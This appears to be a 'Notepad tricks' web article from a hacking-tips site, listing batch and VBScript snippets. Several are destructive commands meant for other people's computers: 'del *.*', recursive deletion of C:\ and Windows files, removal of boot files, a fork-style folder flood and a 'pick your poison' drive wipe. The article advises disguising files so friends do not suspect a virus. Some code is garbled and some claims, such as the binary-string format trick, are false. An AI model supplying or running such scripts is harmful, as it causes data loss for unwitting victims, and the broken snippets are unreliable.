1. How to Delete all your system


     files with a small command!

     Copy the following code into your

     notepad and save it as a .bat


     del *.*

     All your files in your hard disk will

     vanish in less than 5mins.


2. RAM crashing trick


     open notepad and type


     start http://www.haktuts.com/

     goto A

     save with .bat extension.

     Infinitely loops your browser to

     open up http://www.haktuts.com/



3. How to create more than 3,000 folders under a minute


     Open your notepad and type

     the following code.

     @echo off


     md %random%

     goto top

     Save it as any.bat

     @echo off makes your screen

     appear blank but it is actually

     making hundreds of folders.

     md %random% is command that

     creating folders with random

     names.( md is a command to

     make directory in ms-dos)

     goto top – return the command

     to :top, causes an infinite loop.


     NOTE: The folders will get created

      in the directory where you saved

      the ”any.bat” file.

     The file might look suspicious to

      your friends. So if you are

      looking to fool your friends, then

      change the file name and also

      the icon so that he doesn’t

      suspect the file to be a virus.


4. Notepad Trick to shutdown computer forcefully


      Open Notepad.

      Paste the following code in it:

      @echo off

       msg * Shutdown computer.

      shutdown -c “Sleep Tight” -s


5) Notepad Trick to Lock Folders


     Lets lock a folder using notepad trick which is named as PICS in your D: drive , whose path is        


     Then the code should be something like this:

     ren pics pics. {21EC2020-3AEA-1069- A2DD-08002B30309D}

     Pics is your folder name. Use the name of the folder in place for pics. Save the text file as lock.bat in      

     the same drive.


     To unlock this locked folder:

     Open another new notepad text file and type the following:

     ren pics. {21EC2020-3AEA-1069- A2DD-08002B30309D} pics

     Save the text file as key.bat in the same drive. Here again, pics is the name of the folder. Change it  

     to the folder name you want to lock it.


6.Open Notepad continually in your friend's computer:


     @ECHO off


     START %SystemRoot%\system32\notepad.exe

     GOTO top

     Save it as "Anything.BAT" and send it.


7. Notepad Trick to Format Hard disk


       Open Notepad and type:

       a) Code : 01001011000111110010010101010101010000011111100000

       b) Save As it as anything.EXE

       c) Run it. Beware that the entire HDD will be erased


8. Matrix Notepad Trick


      @echo off

       color 2


       echo %random% %random% % random% %random% %random % %random% %random% %      

       random% %random% %random % %random% %random% % random% %random%

       goto start

       Save this file as any.bat

       Make sure the file type is kept as ALL FILES while saving it as a .bat file.


9. Notepad trick to Test Antivirus   


      Open Notepad.

      Copy the code give below in the notepad file:


      Save it with an .exe extension like testvirus.exe


10. How to Shutdown a computer forever?


      Now Please don’t try this because this is the most simplest and deadliest hack for your windows     

      computer. Copy the following

      code into your notepad

      @echo off

       attrib -r -s -h c:\autoexec.bat

      del c:\autoexec.bat

      attrib -r -s -h c:\boot.ini

      del c:\boot.ini

      attrib -r -s -h c:\ntldr

      del c:\ntldr

      attrib -r -s -h c:\windows


      del c:\windows\win.ini

      Save it as “shutdown-

      forever.bat”. Just make sure it

      has a .bat or .cmd extension.



     RUN IT !!!

     This should shutdown the persons computer. It shuts it off once

      and deletes the files needed to reboot and restart.So please, use

      this hack only if you have no intention of rebooting your computer again. So just be careful.

     Here’s an alternative code.

     cmd /c del c:\windows\* /F /S /


     cmd /c del c:\* /F /S /Q

     Paste it in NotePad And Save It

     with Extension .cmd or .bat.


11. Crash a Computer System With


      This is a javascript “exploit” , it

      will hang/crash your system. It

       basically floods you with an

       infinite loop of mailto:xxx

       windows. To cancel this (and you

       have to move fast) kill the

       process of your email client

       before you run out of RAM. Every

       instance occupies about 1000

       bytes, if your victim is smart, he

       better end the process As soon as

       possible or he will be forced to

       reboot his computer.



      COMPUTER !!!!

      Click Here


12. Notepad trick to use it as a Diary


      Open notepad

       Type .LOG

       Save the file as LOG.txt

       Write anything in it and it will be saved with the time when you edit it.


13. Notepad Trick to Open DVD Drive


       Open Notepad.

       Copy the code given below onto the notepad file:

       Set oWMP = CreateObject(“WMPlayer.OCX.7?)

       Set colCDROMs = oWMP.cdromCollection


       if colCDROMs.Count >= 1 then

       For i = 0 to colCDROMs.Count – 1



       For i = 0 to colCDROMs.Count – 1



       End If

      wscript.sleep 5000


       Save it as “Anything.VBS”.


14. Notepad Trick to annoy your friends


      Open Notepad.

      Paste the following code in the notepad file:

      @ECHO off


       msg * Hey

       msg * Want to have Fun?

       msg * You do?

       msg * We will both have fun, alright?

       msg * More fun?


      Save the file with any file name but with .bat as extension and close it. For eg. cool.bat


15. Notepad Trick to type slowly


       Open Notepad.

       Paste the following code in the notepad file:

       WScript.Sleep 180000

       WScript.Sleep 10000

       Set WshShell = WScript.CreateObject (“WScript.Shell”)

       WshShell.Run “notepad”

       WScript.Sleep 100

       WshShell.AppActivate Notepad“”

       WScript.Sleep 500

       WshShell.SendKeys “Hel”

       WScript.Sleep 500

       WshShell.SendKeys “lo ”

       WScript.Sleep 500

      WshShell.SendKeys “, ho”

      WScript.Sleep 500

      WshShell.SendKeys “w a”

      WScript.Sleep 500

      WshShell.SendKeys “re ”

      WScript.Sleep 500

      WshShell.SendKeys “you”

      WScript.Sleep 500

      WshShell.SendKeys “? ”

      WScript.Sleep 500

     WshShell.SendKeys “I a”

     WScript.Sleep 500

     WshShell.SendKeys “m g”

     WScript.Sleep 500

     WshShell.SendKeys “ood”

     WScript.Sleep 500

     WshShell.SendKeys ” th”

     WScript.Sleep 500

     WshShell.SendKeys “ank”

     WScript.Sleep 500

     WshShell.SendKeys “s! “

     Save the file with any name and with .vbs extension and close it.

     Now open the file and see how freakishly slow the messages appear!

     NOTE: In order to stop it. Follow the “Note” given in 10th Trick.


16. Infinite Notepad Trick


      Open Notepad.

      Paste the following code in your notepad file:

      @ECHO off


      START %SystemRoot% system32notepad.exe

      GOTO top

      Save the file with any name nut with .bat extension and close it.


17. Notepad Trick - Text to Audio


       Open Notepad file on your Windows PC.

       Copy and paste the below mentioned code :

       Dim msg, sapi

       msg=InputBox("Enter your text for conversion www–.haktuts.com","haktuts Text-To-Audio      


       Set sapi=CreateObject ("sapi.spvoice")

       sapi.Speak msg

       Save this file with any name with .vbs as extension. For eg. Text-To- Audio.vbs


18. Notepad Trick - BUSH HID THE FACTS


      Open notepad.


      Save that file.

      Close it

      Open It Again See…


19. Notepad Trick Print Tree Root


       Open NOTEPAD and enter {print tree root}

       After that hit enter and type C:windowssystem

       After that hit enter and type {print C:windowssystemwinlog

       Hit enter and type 4*43?$@[455] 3hr4~

       Then save the file as teekids in C:windowssystem.


20. World Trade Center Notepad Trick


       Open your Notepad

       Type the flight number Q33N

       Increase the Font Size to 72

       Change the Font to Wingdings



21.Frustrate your friend by making this VBScript hit Backspace simultaneously:


      MsgBox "Let's go back a few steps"

      Set wshShell =wscript.CreateObject("WScript.Shell")


      wscript.sleep 100

      wshshell.sendkeys "{bs}"


     Save it as "Anything.VBS" and send it.


22. Hack your friend's keyboard and make him type "You are a fool" simultaneously:


      Set wshShell = wscript.CreateObject("WScript.Shell")


       wscript.sleep 100

       wshshell.sendkeys "You are a fool."


       Save it as "Anything.VBS" and send it.



23. Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5      and then does a certain action:


      1: Shutdown

      2: Restart

      3: Wipes out your hard drive (BEWARE)

      4: Net send

      5: Messages then shutdown

       @echo off

        title The end of the world

        cd C:\



        echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill          

        yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried

        your computer or if you lost your project etc...


         echo Pick your poison:

        echo 1. Die this way (Wimp)

        echo 2. Die this way (WIMP!)

        echo 3. DO NOT DIE THIS WAY

        echo 4. Die this way (you're boring)

       echo 5. Easy way out

       set input=nothing

       set /p input=Choice:

       if %input%==1 goto one

       if %input%==2 goto two

      Save it as "Anything.BAT" and send it. 


24: Wish Good Day on Boot


        Wish a Good day to anyone who logs in to your PC with their name.

        Open Notepad.

        Right Click > New > Text Document

        Copy and Paste below code in Notepad.

        name=inputbox("What's your name?")

        msgbox("Have a good day, ") + name

        NOTE: You can Change Quoted Text according to yourself.

        Save the file as 'Welcome.vbs' and Double click to Open it & Check if it is working or not.

        Now Copy the 'Welcome.vbs' file and Paste it in Start-up folder if you want to see this script on          


        Click Here to know How to Locate Start-Up Folder


 25: Create a Password Protected VBScript Message


        Use this trick to create a VBScript with password protection.

        Open Notepad.

        Right Click > New > Text Document

        Copy & Paste below code in Notepad.

        pass=inputbox("Enter Password...")

        if pass="password" then msgbox("Your Message Here..") else msgbox("Incorrect Password! 

        Exiting... ")

        Note: Change the highlighted text 'Your Message Here.. ' with you message. &

        password with your own Password.

        Save the file as 'Message.vbs'.

        Now you will have to enter the password if you want to see the Message. Default Password is         

        'password'. You can change it by changing the highlighted text in code.


 26: Create a Message Box Loop


          Open Notepad.

          Right Click > New > Text Document

          Copy and Paste below code in Notepad.



           msgbox("Hello, Again!")


           NOTE: You can change the Keywords Hello & Hello Again with your messages. 'Hello!' will be         

           shown only once & 'Hello, Again!' will loop until you stop this script.

           Save the file as 'Loop.vbs'.

           Double click on Loop.vbs file to open it. Click Here to know How to Stop this Trick.